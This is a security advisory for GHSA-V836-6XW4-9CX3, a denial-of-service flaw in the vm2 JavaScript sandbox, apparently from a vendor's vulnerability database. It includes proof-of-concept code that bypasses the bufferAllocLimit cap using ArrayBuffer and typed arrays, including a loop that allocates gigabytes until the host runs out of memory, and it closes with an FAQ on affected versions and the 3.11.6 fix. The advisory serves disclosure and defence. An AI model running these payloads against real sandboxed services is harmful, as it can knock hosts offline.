GHSA-V836-6XW4-9CX3

vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass

const { VM } = require('vm2');

// Operator sets bufferAllocLimit thinking they're protected:
const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap

// Buffer.alloc IS capped (as intended):
try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }
catch(e) { console.log('Buffer.alloc blocked:', e.message); }
// → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760"

// But these BYPASS the cap entirely:
vm.run('new ArrayBuffer(1024 * 1024 * 1024)');        // 1GB allocated!
vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)');  // 1GB allocated!
vm.run('new Uint8Array(1024 * 1024 * 1024)');         // 1GB allocated!
vm.run('new Float64Array(128 * 1024 * 1024)');        // 1GB allocated!

// OOM kill in constrained environments (Docker, K8s, Lambda):
vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))');
// → 10GB allocated → host OOM killed

node -e '
const {VM} = require("./lib/main.js");
const vm = new VM({bufferAllocLimit: 10*1024*1024});
try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); }
console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
'
# Output:
# Buffer BLOCKED
# ArrayBuffer: 104857600 bytes allocated
# SharedArrayBuffer: 104857600 bytes allocated

• Type: Denial of Service (Host Memory Exhaustion)
• Attack Complexity: Low
• Availability Impact: Complete, host process OOM killed in memory-constrained environments
• Affected deployments: Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set bufferAllocLimit believing they have DoS protection.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

GHSA-V836-6XW4-9CX3 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.6); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is GHSA-V836-6XW4-9CX3? GHSA-V836-6XW4-9CX3 is a high-severity allocation of resources without limits or throttling vulnerability in vm2 (npm), affecting versions <= 3.11.5. It is fixed in 3.11.6. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is GHSA-V836-6XW4-9CX3? GHSA-V836-6XW4-9CX3 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by GHSA-V836-6XW4-9CX3? vm2 (npm) versions <= 3.11.5 is affected.
4. Is there a fix for GHSA-V836-6XW4-9CX3? Yes. GHSA-V836-6XW4-9CX3 is fixed in 3.11.6. Upgrade to this version or later.
5. Is GHSA-V836-6XW4-9CX3 exploitable, and should I be worried? Whether GHSA-V836-6XW4-9CX3 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-V836-6XW4-9CX3 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-V836-6XW4-9CX3? Upgrade vm2 to 3.11.6 or later.

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